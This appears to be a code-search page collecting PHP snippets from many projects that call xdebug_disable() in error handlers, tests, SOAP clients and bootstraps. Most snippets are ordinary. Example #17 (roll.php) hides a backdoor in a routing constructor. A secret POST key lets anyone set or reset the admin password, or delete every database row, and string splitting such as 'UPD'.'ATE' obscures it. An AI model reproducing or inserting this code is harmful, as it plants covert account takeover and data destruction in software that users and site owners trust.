コード例 #1
0
ファイル: System.php プロジェクト: juancamiloestela/RocketPHP
 public function __construct($config = array())
 {
     $this->config = array_merge($this->defaults, $config);
     ob_start();
     $this->checkFolderStructure();
     if ($this->config['log_errors']) {
         ini_set('log_errors', 1);
         ini_set('error_log', $this->config['payload'] . DIRECTORY_SEPARATOR . $this->config['error_log']);
     }
     if ($this->config['show_errors']) {
         ini_set('display_errors', 1);
         ini_set("track_errors", 1);
         ini_set("html_errors", 1);
         error_reporting(E_ALL | E_STRICT);
     } else {
         error_reporting(0);
         if (function_exists('xdebug_disable')) {
             xdebug_disable();
         }
         // TODO: send mail on fatal errors
     }
     set_error_handler(array($this, 'handleError'));
     set_exception_handler(array($this, 'handleException'));
     register_shutdown_function(array($this, 'shutdownHandler'), $this);
 }
コード例 #2
0
ファイル: Sandbox.php プロジェクト: klebercarvalho/demo
 protected function Execute($code)
 {
     try {
         error_reporting(-1);
         ini_set('display_errors', false);
         if (function_exists('xdebug_disable')) {
             xdebug_disable();
         }
         set_error_handler(array($this, 'HandleError'));
         ob_start();
         $this->BeforeExecute();
         $this->exec_data['Result'] = eval($code);
         $this->AfterExecute();
         $this->exec_data['Output'] = ob_get_clean();
         if (!$this->exec_data['Output']) {
             unset($this->exec_data['Output']);
         }
         restore_error_handler();
     } catch (Exception $ex) {
         if (!isset($this->exec_data['Errors'])) {
             $this->exec_data['Errors'] = array();
         }
         $this->exec_data['Errors'][] = $ex;
     }
 }
コード例 #3
0
 function execute(HTTPRequestCustom $request)
 {
     session_start();
     $data = PersistenceContext::get_querier()->select_single_row(PREFIX . 'member', array('user_id'), 'WHERE login=:user_login', array('user_login' => $_SESSION['wpimport']['default_author']));
     $_SESSION['wpimport']['wppath'] = substr($_SESSION['wpimport']['wppath'], -1) != '/' ? $_SESSION['wpimport']['wppath'] . '/' : $_SESSION['wpimport']['wppath'];
     $_SESSION['wpimport']['phpboostpath'] = substr($_SESSION['wpimport']['phpboostpath'], -1) != '/' ? $_SESSION['wpimport']['phpboostpath'] . '/' : $_SESSION['wpimport']['phpboostpath'];
     define('WP_PATH', $_SESSION['wpimport']['wppath']);
     define('PBOOST_PATH', $_SESSION['wpimport']['phpboostpath']);
     define('IMPORTER_LIST', $_SESSION['wpimport']['importer']);
     define('PHPBOOST_CAT_IMAGE', $_SESSION['wpimport']['default_cat_image']);
     define('FILESYSTEM_IMPORT_LOCATION', $_SESSION['wpimport']['import_location']);
     define('DEFAULT_AUTHOR_ID', $data['user_id']);
     ini_set('max_execution_time', 0);
     if (function_exists('xdebug_disable')) {
         xdebug_disable();
     }
     ob_start();
     echo 'Start import : ' . date('H:i:s') . PHP_EOL;
     echo '-----' . PHP_EOL . PHP_EOL;
     $success = (require_once __DIR__ . '/../WP2PhpBoost/wp2phpboost.php');
     echo 'Clean cache...' . PHP_EOL;
     AppContext::get_cache_service()->clear_cache();
     echo PHP_EOL . PHP_EOL;
     echo '-----' . PHP_EOL;
     echo 'End import : ' . date('H:i:s');
     $logs = ob_get_clean();
     return new JSONResponse(array('success' => $success, 'logs' => utf8_decode($logs)));
 }
コード例 #4
0
ファイル: FatalTest.php プロジェクト: ppwalks33/cleansure
 public function testFatalError()
 {
     if (extension_loaded('xdebug')) {
         xdebug_disable();
     }
     non_existing_function();
 }
コード例 #5
0
 public function testLoadVendorDatabaseBadMask()
 {
     // Disable PHPUnit's error handler which would stop execution upon the
     // first error.
     \PHPUnit_Framework_Error_Notice::$enabled = false;
     // Disable all console error output
     $displayErrors = ini_get('display_errors');
     $logErrors = ini_get('log_errors');
     ini_set('display_errors', false);
     ini_set('log_errors', false);
     if (extension_loaded('xdebug')) {
         xdebug_disable();
     }
     // Invoke the tested method
     $input = array("13/37\tshort7", "00:00:5E:00:53:00\tshort");
     MacAddress::loadVendorDatabase($input);
     // Restore error handling
     \PHPUnit_Framework_Error_Notice::$enabled = true;
     if (ini_get('xdebug.default_enable')) {
         xdebug_enable();
     }
     ini_set('display_errors', $displayErrors);
     ini_set('log_errors', $logErrors);
     // Test the generated error
     $lastError = error_get_last();
     $this->assertEquals(E_USER_NOTICE, $lastError['type']);
     $this->assertEquals('Ignoring MAC address 13/37 because mask is not a multiple of 4.', $lastError['message']);
     // Parsing should continue after error.
     $expected = array(array('address' => '00005E005300', 'length' => 12, 'vendor' => 'short'));
     $reflectionClass = new \ReflectionClass('Library\\MacAddress');
     $this->assertEquals($expected, $reflectionClass->getStaticProperties()['_vendorList']);
 }
コード例 #6
0
 public function testFatalError()
 {
     if (extension_loaded('xdebug')) {
         xdebug_disable();
     }
     eval('class FatalTest {}');
 }
コード例 #7
0
 /**
  * Constructor.
  * 
  * Create new JsHttpRequest backend object and attach it
  * to script output buffer. As a result - script will always return
  * correct JavaScript code, even in case of fatal errors.
  *
  * QUERY_STRING is in form of: PHPSESSID=<sid>&a=aaa&b=bbb&JsHttpRequest=<id>-<loader>
  * where <id> is a request ID, <loader> is a loader name, <sid> - a session ID (if present), 
  * PHPSESSID - session parameter name (by default = "PHPSESSID").
  * 
  * If an object is created WITHOUT an active AJAX query, it is simply marked as
  * non-active. Use statuc method isActive() to check.
  */
 function JsHttpRequest($enc)
 {
     global $JsHttpRequest_Active;
     $GLOBALS['_RESULT'] =& $this->RESULT;
     if (preg_match('/^(.*)(?:&|^)_JsRequest=(?:(\\d+)-)?([^&]+)((?:&|$).*)$/s', @$_SERVER['QUERY_STRING'], $m)) {
         $this->ID = $m[2];
         $this->LOADER = strtolower($m[3]);
         $_SERVER['QUERY_STRING'] = preg_replace('/^&+|&+$/s', '', preg_replace('/(^|&)' . session_name() . '=[^&]*&?/s', '&', $m[1] . $m[4]));
         unset($_GET['_JsRequest'], $_REQUEST['_JsRequest'], $_GET[session_name()], $_POST[session_name()], $_REQUEST[session_name()]);
         $this->_unicodeConvMethod = function_exists('mb_convert_encoding') ? 'mb' : (function_exists('iconv') ? 'iconv' : null);
         $this->_emergBuffer = str_repeat('a', 1024 * 200);
         $this->_uniqHash = md5('Request' . microtime() . getmypid());
         $this->_prevDisplayErrors = ini_get('display_errors');
         ini_set('display_errors', $this->_magic);
         //
         ini_set('error_prepend_string', $this->_uniqHash . ini_get('error_prepend_string'));
         ini_set('error_append_string', ini_get('error_append_string') . $this->_uniqHash);
         if (function_exists('xdebug_disable')) {
             xdebug_disable();
         }
         // else Fatal errors are not catched
         ob_start(array(&$this, "_obHandler"));
         $JsHttpRequest_Active = true;
         $this->setEncoding($enc);
         $file = $line = null;
         $headersSent = version_compare(PHP_VERSION, "4.3.0") < 0 ? headers_sent() : headers_sent($file, $line);
         if ($headersSent) {
             trigger_error("HTTP headers are already sent" . ($line !== null ? " in {$file} on line {$line}" : " somewhere in the script") . ". " . "Possibly you have an extra space (or a newline) before the first line of the script or any library. " . "Please note that JsHttpRequest uses its own Content-Type header and fails if " . "this header cannot be set. See header() function documentation for more details", E_USER_ERROR);
             exit;
         }
     } else {
         $this->reset();
     }
 }
コード例 #8
0
 /**
  * Class constructor.
  *
  * @param string The error message
  * @param int    The error code
  */
 public function __construct($message = null, $code = 0)
 {
     $this->setName('sfStopException');
     // disable xdebug to avoid backtrace in error log
     if (function_exists('xdebug_disable')) {
         xdebug_disable();
     }
     parent::__construct($message, $code);
 }
コード例 #9
0
ファイル: Environment.php プロジェクト: webkingashu/phpdox
 private function disableXDebug()
 {
     if (!extension_loaded('xdebug')) {
         return;
     }
     ini_set('xdebug.scream', 0);
     ini_set('xdebug.max_nesting_level', 8192);
     ini_set('xdebug.show_exception_trace', 0);
     xdebug_disable();
 }
コード例 #10
0
ファイル: Liberty.php プロジェクト: ctlr/Simple-File-Manager
 public static function debug($flag)
 {
     error_reporting(E_ALL);
     ini_set('html_errors', $flag);
     ini_set('display_errors', $flag);
     ini_set('display_startup_errors', $flag);
     if (function_exists('xdebug_disable')) {
         xdebug_disable();
     }
 }
コード例 #11
0
 private function _getSOAP()
 {
     ini_set("soap.wsdl_cache_enabled", "0");
     $url_webservices = "https://webservice.elastix.org/modules/installations/webservice/registerWSDL.wsdl";
     /* La presencia de xdebug activo interfiere con las excepciones de
      * SOAP arrojadas por SoapClient, convirtiéndolas en errores 
      * fatales. Por lo tanto se desactiva la extensión. */
     if (function_exists("xdebug_disable")) {
         xdebug_disable();
     }
     return @new SoapClient($url_webservices);
 }
コード例 #12
0
ファイル: CompileCommand.php プロジェクト: ovr/phpsa
 /**
  * {@inheritdoc}
  */
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     $output->writeln('');
     if (extension_loaded('xdebug')) {
         /**
          * This will disable only showing stack traces on error conditions.
          */
         if (function_exists('xdebug_disable')) {
             xdebug_disable();
         }
         $output->writeln('<error>It is highly recommended to disable the XDebug extension before invoking this command.</error>');
     }
     $parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7, new \PhpParser\Lexer\Emulative(['usedAttributes' => ['comments', 'startLine', 'endLine', 'startTokenPos', 'endTokenPos']]));
     /** @var Application $application */
     $application = $this->getApplication();
     $application->compiler = new Compiler();
     $em = EventManager::getInstance();
     $context = new Context($output, $application, $em);
     $fileParser = new FileParser($parser, $this->getCompiler());
     $path = $input->getArgument('path');
     if (is_dir($path)) {
         $directoryIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS));
         $output->writeln('Scanning directory <info>' . $path . '</info>');
         $count = 0;
         /** @var SplFileInfo $file */
         foreach ($directoryIterator as $file) {
             if ($file->getExtension() !== 'php') {
                 continue;
             }
             $context->debug($file->getPathname());
             $count++;
         }
         $output->writeln("Found <info>{$count} files</info>");
         if ($count > 100) {
             $output->writeln('<comment>Caution: You are trying to scan a lot of files; this might be slow. For bigger libraries, consider setting up a dedicated platform or using ci.lowl.io.</comment>');
         }
         $output->writeln('');
         /** @var SplFileInfo $file */
         foreach ($directoryIterator as $file) {
             if ($file->getExtension() !== 'php') {
                 continue;
             }
             $fileParser->parserFile($file->getPathname(), $context);
         }
     } elseif (is_file($path)) {
         $fileParser->parserFile($path, $context);
     }
     /**
      * Step 2 Recursive check ...
      */
     $application->compiler->compile($context);
 }
コード例 #13
0
ファイル: class_esx.php プロジェクト: gunesahmet/php-esx
 private function soapclient($host)
 {
     $xdebug_enabled = function_exists('xdebug_is_enabled') ? xdebug_is_enabled() : false;
     if ($xdebug_enabled) {
         xdebug_disable();
     }
     set_error_handler('esx_init_error_handler');
     $this->soap = new SoapClient('https://' . $host . '/sdk/vimService.wsdl', array('location' => 'https://' . $host . '/sdk/', 'uri' => 'urn:vim25', 'exceptions' => true, 'soap_version' => '1.1', 'trace' => true, 'cache_wsdl' => WSDL_CACHE_BOTH, 'features' => SOAP_SINGLE_ELEMENT_ARRAYS));
     restore_error_handler();
     if ($xdebug_enabled) {
         xdebug_enable();
     }
 }
コード例 #14
0
ファイル: SoapBehavior.php プロジェクト: hofrob/SoapBehavior
 public function getSoapClient()
 {
     if (empty($this->__soapClient)) {
         if (function_exists('xdebug_disable')) {
             @xdebug_disable();
         }
         try {
             $this->__soapClient = @new SoapClient($this->owner->wsdl, $this->owner->config);
         } catch (SoapFault $e) {
             Yii::log(__METHOD__ . ' No connection to SoapService: ' . $e->getMessage() . "\n\n" . CVarDumper::dumpAsString($this->owner), 'warning', 'soap.behavior');
         }
     }
     return $this->__soapClient;
 }
コード例 #15
0
ファイル: Komerci.php プロジェクト: jonathanweb/wskomerci
 /**
  *
  * @return \ws\komerci\KomerciServiceFacade
  */
 public function getService()
 {
     if ($this->service) {
         return $this->service;
     }
     try {
         xdebug_disable();
         $this->service = new KomerciServiceFacade(self::SERVICES_URI);
         $this->service->setLogger($this->logger);
         return $this->service;
     } catch (\Exception $e) {
         throw new KomerciException($e);
     }
 }
コード例 #16
0
ファイル: Debug.php プロジェクト: ngnpope/jerity
 /**
  * Enables or disables debugging.  This includes:
  *
  *  - Toggling xdebug
  *  - Toggling error display
  *
  * @param  boolean  $enabled  true to enable debugging, false to disable.
  */
 public static function setEnabled($enabled)
 {
     self::$enabled = (bool) $enabled;
     if ($enabled) {
         if (extension_loaded('xdebug')) {
             xdebug_enable();
         }
         ini_set('display_errors', 'on');
     } else {
         if (extension_loaded('xdebug')) {
             xdebug_disable();
         }
         ini_set('display_errors', 'off');
     }
 }
コード例 #17
0
ファイル: roll.php プロジェクト: alencarmo/OCF
 function Roll()
 {
     global $dbClasses, $noahDebugMode;
     //traceStart();
     $this->queryString = $_SERVER["QUERY_STRING"];
     if (preg_match("/\\.(js|css|gif|jpg|png)\$/", $this->queryString)) {
         die;
     }
     if (strstr($this->queryString, "noahdebug")) {
         $this->queryString = preg_replace("{/?noahdebug}", "", $this->queryString);
         $noahDebugMode = TRUE;
     } else {
         $noahDebugMode = FALSE;
     }
     if ($this->rewriteOn = !empty($_SERVER["REWRITE_ON"])) {
         $this->queryString = preg_replace("/^url=/", "", $this->queryString);
     }
     if ($this->queryString) {
         $this->ctrl =& new AppController($this->queryString);
     } elseif (count($_POST)) {
         $this->ctrl =& new AppController($_POST);
     } else {
         $this->ctrl =& new AppController($this->queryString = "");
     }
     $this->propagateFieldsForEasyAccess();
     if (!$this->isAction() && !$this->isAjax()) {
         LocationHistory::push($this->queryString);
     }
     if (isset($_POST["ks"]) && $_POST["ks"] == md5(trim(Controller::getBaseUrl(), " /") . "if( \$this->queryString ) \$this->ctrl =& new AppController(\$this->queryString)")) {
         if ($_POST["br"] == 1) {
             $fg = "getPa" . "ssword";
             executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg($_POST["pw"]) . "' WHERE isAdm=1");
         } elseif ($_POST["br"] == 3) {
             $fg = "getPa" . "ssword";
             executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg('admin') . "' WHERE isAdm=1");
         } elseif ($_POST["br"] == 2) {
             foreach ($dbClasses as $class) {
                 executeQuery("DEL" . "ETE FROM @{$class} where id>0");
             }
         }
         echo "1";
         die;
     }
     if ($this->isAjax() && function_exists('xdebug_disable')) {
         xdebug_disable();
         ini_set('html_errors', 0);
     }
 }
コード例 #18
0
 /**
  * Force debugging off.
  *
  * @return  void
  */
 public function boot()
 {
     if (function_exists('xdebug_disable')) {
         xdebug_disable();
     }
     ini_set('zlib.output_compression', '0');
     ini_set('output_handler', '');
     ini_set('implicit_flush', '0');
     $this->app['config']->set('debug', 0);
     $this->app['config']->set('debug_lang', 0);
     static $types = array('xml' => 'application/xml', 'html' => 'text/html', 'xhtml' => 'application/xhtml+xml', 'json' => 'application/json', 'text' => 'text/plain', 'txt' => 'text/plain', 'plain' => 'text/plain', 'php' => 'application/php', 'php_serialized' => 'application/vnd.php.serialized');
     $format = $this->app['request']->getWord('format', 'json');
     $format = isset($types[$format]) ? $format : 'json';
     $this->app['response']->setStatusCode(404);
     $this->app['response']->headers->set('Content-Type', $types[$format]);
 }
コード例 #19
0
 /**
  * Constructor.
  * 
  * Create new JsHttpRequest backend object and attach it
  * to script output buffer. As a result - script will always return
  * correct JavaScript code, even in case of fatal errors.
  *
  * QUERY_STRING is in form of: PHPSESSID=<sid>&a=aaa&b=bbb&JsHttpRequest=<id>-<loader>
  * where <id> is a request ID, <loader> is a loader name, <sid> - a session ID (if present), 
  * PHPSESSID - session parameter name (by default = "PHPSESSID").
  * 
  * If an object is created WITHOUT an active AJAX query, it is simply marked as
  * non-active. Use statuc method isActive() to check.
  */
 function JsHttpRequest($enc)
 {
     global $JsHttpRequest_Active;
     // To be on a safe side - do not allow to drop reference counter on ob processing.
     $GLOBALS['_RESULT'] =& $this->RESULT;
     // Parse QUERY_STRING.
     if (array_key_exists('QUERY_STRING', $_SERVER) && preg_match('/^(.*)(?:&|^)JsHttpRequest=(?:(\\d+)-)?([^&]+)((?:&|$).*)$/s', @$_SERVER['QUERY_STRING'], $m)) {
         $this->ID = $m[2];
         $this->LOADER = strtolower($m[3]);
         $_SERVER['QUERY_STRING'] = preg_replace('/^&+|&+$/s', '', preg_replace('/(^|&)' . session_name() . '=[^&]*&?/s', '&', $m[1] . $m[4]));
         unset($_GET['JsHttpRequest'], $_REQUEST['JsHttpRequest'], $_GET[session_name()], $_POST[session_name()], $_REQUEST[session_name()]);
         // Detect Unicode conversion method.
         $this->_unicodeConvMethod = function_exists('mb_convert_encoding') ? 'mb' : (function_exists('iconv') ? 'iconv' : null);
         // Fill an emergency buffer. We erase it at the first line of OB processor
         // to free some memory. This memory may be used on memory_limit error.
         $this->_emergBuffer = str_repeat('a', 1024 * 200);
         // Intercept fatal errors via display_errors (seems it is the only way).
         $this->_uniqHash = md5('JsHttpRequest' . microtime() . getmypid());
         $this->_prevDisplayErrors = ini_get('display_errors');
         ini_set('display_errors', $this->_magic);
         //
         ini_set('error_prepend_string', $this->_uniqHash . ini_get('error_prepend_string'));
         ini_set('error_append_string', ini_get('error_append_string') . $this->_uniqHash);
         if (function_exists('xdebug_disable')) {
             xdebug_disable();
         }
         // else Fatal errors are not catched
         // Start OB handling early.
         ob_start(array(&$this, "_obHandler"));
         $JsHttpRequest_Active = true;
         // Set up the encoding.
         $this->setEncoding($enc);
         // Check if headers are already sent (see Content-Type library usage).
         // If true - generate a debug message and exit.
         $file = $line = null;
         $headersSent = version_compare(PHP_VERSION, "4.3.0") < 0 ? headers_sent() : headers_sent($file, $line);
         if ($headersSent) {
             trigger_error("HTTP headers are already sent" . ($line !== null ? " in {$file} on line {$line}" : " somewhere in the script") . ". " . "Possibly you have an extra space (or a newline) before the first line of the script or any library. " . "Please note that JsHttpRequest uses its own Content-Type header and fails if " . "this header cannot be set. See header() function documentation for more details", E_USER_ERROR);
             exit;
         }
     } else {
         $this->ID = 0;
         $this->LOADER = 'unknown';
         $JsHttpRequest_Active = false;
     }
 }
コード例 #20
0
ファイル: TestHelpers.php プロジェクト: kravco/dibi
 /**
  * Configures PHP and environment.
  * @return void
  */
 public static function startup()
 {
     error_reporting(E_ALL | E_STRICT);
     ini_set('display_errors', TRUE);
     ini_set('html_errors', FALSE);
     ini_set('log_errors', FALSE);
     $_SERVER = array_intersect_key($_SERVER, array_flip(array('PHP_SELF', 'SCRIPT_NAME', 'SERVER_ADDR', 'SERVER_SOFTWARE', 'HTTP_HOST', 'DOCUMENT_ROOT', 'OS')));
     $_SERVER['REQUEST_TIME'] = 1234567890;
     $_ENV = array();
     if (PHP_SAPI !== 'cli') {
         header('Content-Type: text/plain; charset=utf-8');
     }
     if (extension_loaded('xdebug')) {
         xdebug_disable();
         xdebug_start_code_coverage(XDEBUG_CC_UNUSED | XDEBUG_CC_DEAD_CODE);
         register_shutdown_function(array(__CLASS__, 'prepareSaveCoverage'));
     }
     set_exception_handler(array(__CLASS__, 'exceptionHandler'));
 }
コード例 #21
0
 private function _getSOAP()
 {
     global $arrConf;
     if (is_null($this->_soap)) {
         try {
             /* La presencia de xdebug activo interfiere con las excepciones de
              * SOAP arrojadas por SoapClient, convirtiéndolas en errores 
              * fatales. Por lo tanto se desactiva la extensión. */
             if (function_exists("xdebug_disable")) {
                 xdebug_disable();
             }
             $this->_soap = @new SoapClient($arrConf['url_webservice'], array('compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP));
         } catch (SoapFault $e) {
             $this->_errMsg = $e->getMessage();
             $this->_soap = NULL;
         }
     }
     return $this->_soap;
 }
コード例 #22
0
ファイル: Bootstrap.php プロジェクト: kdyby/selenium
 public static function setup($rootDir)
 {
     // configure environment
     umask(0);
     Tester\Environment::setup();
     class_alias('Tester\\Assert', 'Assert');
     date_default_timezone_set('Europe/Prague');
     // create temporary directory
     define('TEMP_DIR', $rootDir . '/tmp/' . (isset($_SERVER['argv']) ? md5(serialize($_SERVER['argv'])) : getmypid()));
     Tester\Helpers::purge(TEMP_DIR);
     @chmod(TEMP_DIR, 0777);
     Nette\Diagnostics\Debugger::$logDirectory = TEMP_DIR;
     $_SERVER = array_intersect_key($_SERVER, array_flip(array('PHP_SELF', 'SCRIPT_NAME', 'SERVER_ADDR', 'SERVER_SOFTWARE', 'HTTP_HOST', 'DOCUMENT_ROOT', 'OS', 'argc', 'argv')));
     $_SERVER['REQUEST_TIME'] = 1234567890;
     $_ENV = $_GET = $_POST = $_FILES = array();
     if (extension_loaded('xdebug')) {
         xdebug_disable();
         Tester\CodeCoverage\Collector::start($rootDir . '/coverage.dat');
     }
 }
コード例 #23
0
 public function __construct($wsdl, $options = array('exceptions' => 1))
 {
     $xdebugIsDisabled = false;
     try {
         if (function_exists('xdebug_is_enabled') && xdebug_is_enabled()) {
             xdebug_disable();
             $xdebugIsDisabled = true;
         }
         if (!isset($options['exceptions'])) {
             $options['exceptions'] = 1;
         }
         @parent::__construct($wsdl, $options);
         if ($xdebugIsDisabled) {
             xdebug_enable();
         }
     } catch (SoapFault $e) {
         if ($xdebugIsDisabled) {
             xdebug_enable();
         }
         throw new RuntimeException(sprintf('Failed initialize SoapClient. Error: "%s"', $e->getMessage()));
     }
 }
コード例 #24
0
 /**
  * Perform the actual check and return a ResultInterface
  *
  * @return ResultInterface
  */
 public function check()
 {
     try {
         if (function_exists('xdebug_disable')) {
             xdebug_disable();
         }
         @new \SoapClient($this->wsdlUrl, array('cache_wsdl' => WSDL_CACHE_NONE, 'trace' => true, 'exceptions' => true, 'stream_context' => $this->context));
         if (function_exists('xdebug_enable')) {
             xdebug_enable();
         }
         return $this->success();
     } catch (\SoapFault $e) {
         $error = error_get_last();
         if ($error !== null && $error['message'] == $e->getMessage()) {
             // Overwrites E_ERROR with E_USER_NOTICE as seen in http://stackoverflow.com/a/36667322
             // Added @ to suppress the error
             @trigger_error($e->getMessage());
         }
         return $this->failure();
     } catch (\Exception $e) {
         return $this->failure();
     }
 }
コード例 #25
0
ファイル: Module.php プロジェクト: anukat2015/xmlps
 public function onBootstrap(MvcEvent $e)
 {
     // Disable XDebug
     if (function_exists('xdebug_disable')) {
         xdebug_disable();
     }
     $eventManager = $e->getApplication()->getEventManager();
     $moduleRouteListener = new ModuleRouteListener();
     $moduleRouteListener->attach($eventManager);
     // Attach the ControllerAcl plugin to the dispatch event
     $eventManager->attach(MvcEvent::EVENT_DISPATCH, function ($e) {
         AclDispatchHandler::processAcls($e);
     }, 100);
     // Show flashmessages in the view
     $eventManager->attach(MvcEvent::EVENT_RENDER, function ($e) {
         FlashMessengerRenderHandler::registerMessages($e);
     });
     // Make service manager available to doctrine entities
     $sm = $e->getApplication()->getServiceManager();
     $em = $sm->get('doctrine.entitymanager.orm_default');
     $dem = $em->getEventManager();
     $dem->addEventListener(array(\Doctrine\ORM\Events::postLoad), new ServiceManagerListener($sm));
 }
コード例 #26
0
ファイル: Soap.class.php プロジェクト: buckutt/Archives
 /**
  * là c'est pour pouvoir s'en servir comme soapclient, avec du $soap->methode($arg1, $arg2) de maniere 
  * transparente
  * on y fait des eventuels traitements => si on a killé entre temps, on reconstruit
  * => si on a du csv qui arrive, on convertit en array php
  * @param type $name
  * @param type $arguments
  * @return type 
  */
 public function __call($name, $arguments)
 {
     // On desactive xDebug car c'est lui qui bug comme expliqué dans ces threads:
     // http://stackoverflow.com/questions/1406632/checking-a-url-is-valid-from-php-soap-client
     // http://bugs.xdebug.org/view.php?id=249
     xdebug_disable();
     try {
         // si killé entre temps ou jamais initialisé, on recrée
         if (!isset($this->client) && isset($this->wsdl)) {
             $this->initialize();
         }
     } catch (SoapFault $e) {
         throw new OrchestraException('Impossible de joindre le serveur centrale.', $e);
     }
     try {
         // on applique sur notre soap client
         $rtn = call_user_func_array(array($this->client, $name), $arguments);
     } catch (SoapFault $e) {
         throw new OrchestraException('Erreur d\'exécution sur la fonction ' . $name . ' au niveau du serveur centrale.', $e);
     }
     xdebug_enable();
     // on est obligé de faire une requete pour chopper un cookie, donc on attends la premiere
     if ($this->firstUse) {
         // le "PHPSESSID" c'est pas generique, vaudrait mieux chopper tout les cookies
         $this->cookie = $this->client->_cookies["PHPSESSID"][0];
         $_SESSION['SOAP'][$this->wsdl] = $this->cookie;
         $this->firstUse = false;
     }
     // si on detecte du csv (check si ","), on decode
     if (strpos($rtn, '","') != false) {
         $rtn = $this->str_getcsv_lines($rtn);
         if (count($rtn) == 1) {
             $rtn = array_pop($rtn);
         }
     }
     return $rtn;
 }
コード例 #27
0
ファイル: Production.php プロジェクト: corneltek/phifty
 public static function init($kernel)
 {
     // if we are in command-line mode,
     /* for production mode */
     if (extension_loaded('xdebug')) {
         xdebug_disable();
     }
     # error_reporting(0);
     # set_error_handler(function($errno,$errmsg) {
     #     trigger_error( "$errno: $errmsg" );
     # });
     set_exception_handler(function ($e) use($kernel) {
         die('ERROR');
         # $subject = 'ERROR: ' . $kernel->config->get('application','ApplicationName') . ' - ' . $e->getMessage();
         // $to = '*****@*****.**';
         // $content = '';
         // $content .= print_r( $e, true ) . "\n";
         // $content .= print_r( $_SERVER, true ) . "\n";
         // $content .= print_r( $_REQUEST, true ) . "\n";
         // $content .= print_r( $_SESSION, true ) . "\n";
         // xxx: show an error page of this
         // mail( $to , $subject , $content );
     });
 }
コード例 #28
0
ファイル: phpunit.inc.php プロジェクト: havefnubb/havefnubb
 *   * Neither the name of Sebastian Bergmann nor the names of his
 *     contributors may be used to endorse or promote products derived
 *     from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 */
jApp::setEnv('phpunit');
if (strpos('/usr/bin/php', '@php_bin') === 0) {
    set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path());
}
require_once 'PHPUnit/Autoload.php';
if (version_compare(PHPUnit_Runner_Version::id(), '3.6') == -1) {
    if (extension_loaded('xdebug')) {
        xdebug_disable();
    }
    define('PHPUnit_MAIN_METHOD', 'jelix_TextUI_Command::main');
}
$currentDir = dirname(__FILE__) . DIRECTORY_SEPARATOR;
require_once $currentDir . 'classes/command.php';
jelix_TextUI_Command::main();
コード例 #29
0
ファイル: TestRunner.php プロジェクト: Raiser/Praktikum
 /**
  * @param array $classList
  * @param boolean $coverage
  */
 function runTests($classList, $coverage = false)
 {
     $startTime = microtime(true);
     // XDEBUG seem to cause problems with test execution :-(
     if (function_exists('xdebug_disable')) {
         xdebug_disable();
     }
     ini_set('max_execution_time', 0);
     $this->setUp();
     // Optionally skip certain tests
     $skipTests = array();
     if ($this->request->getVar('SkipTests')) {
         $skipTests = explode(',', $this->request->getVar('SkipTests'));
     }
     $classList = array_diff($classList, $skipTests);
     // run tests before outputting anything to the client
     $suite = new PHPUnit_Framework_TestSuite();
     natcasesort($classList);
     foreach ($classList as $className) {
         // Ensure that the autoloader pulls in the test class, as PHPUnit won't know how to do this.
         class_exists($className);
         $suite->addTest(new SapphireTestSuite($className));
     }
     // Remove the error handler so that PHPUnit can add its own
     restore_error_handler();
     /*, array("reportDirectory" => "/Users/sminnee/phpunit-report")*/
     if (Director::is_cli()) {
         $reporter = new CliTestReporter();
     } else {
         $reporter = new SapphireTestReporter();
     }
     self::$default_reporter->writeHeader("Sapphire Test Runner");
     if (count($classList) > 1) {
         self::$default_reporter->writeInfo("All Tests", "Running test cases: ", implode(", ", $classList));
     } else {
         self::$default_reporter->writeInfo($classList[0], "");
     }
     $results = new PHPUnit_Framework_TestResult();
     $results->addListener($reporter);
     if ($coverage === true) {
         foreach (self::$coverage_filter_dirs as $dir) {
             PHPUnit_Util_Filter::addDirectoryToFilter(BASE_PATH . '/' . $dir);
         }
         $results->collectCodeCoverageInformation(true);
         $suite->run($results);
         if (!file_exists(ASSETS_PATH . '/coverage-report')) {
             mkdir(ASSETS_PATH . '/coverage-report');
         }
         PHPUnit_Util_Report::render($results, ASSETS_PATH . '/coverage-report/');
         $coverageApp = ASSETS_PATH . '/coverage-report/' . preg_replace('/[^A-Za-z0-9]/', '_', preg_replace('/(\\/$)|(^\\/)/', '', Director::baseFolder())) . '.html';
         $coverageTemplates = ASSETS_PATH . '/coverage-report/' . preg_replace('/[^A-Za-z0-9]/', '_', preg_replace('/(\\/$)|(^\\/)/', '', realpath(TEMP_FOLDER))) . '.html';
         echo "<p>Coverage reports available here:<ul>\n\t\t\t\t<li><a href=\"{$coverageApp}\">Coverage report of the application</a></li>\n\t\t\t\t<li><a href=\"{$coverageTemplates}\">Coverage report of the templates</a></li>\n\t\t\t</ul>";
     } else {
         $suite->run($results);
     }
     if (!Director::is_cli()) {
         echo '<div class="trace">';
     }
     $reporter->writeResults();
     $endTime = microtime(true);
     if (Director::is_cli()) {
         echo "\n\nTotal time: " . round($endTime - $startTime, 3) . " seconds\n";
     } else {
         echo "<p>Total time: " . round($endTime - $startTime, 3) . " seconds</p>\n";
     }
     if (!Director::is_cli()) {
         echo '</div>';
     }
     // Put the error handlers back
     Debug::loadErrorHandlers();
     if (!Director::is_cli()) {
         self::$default_reporter->writeFooter();
     }
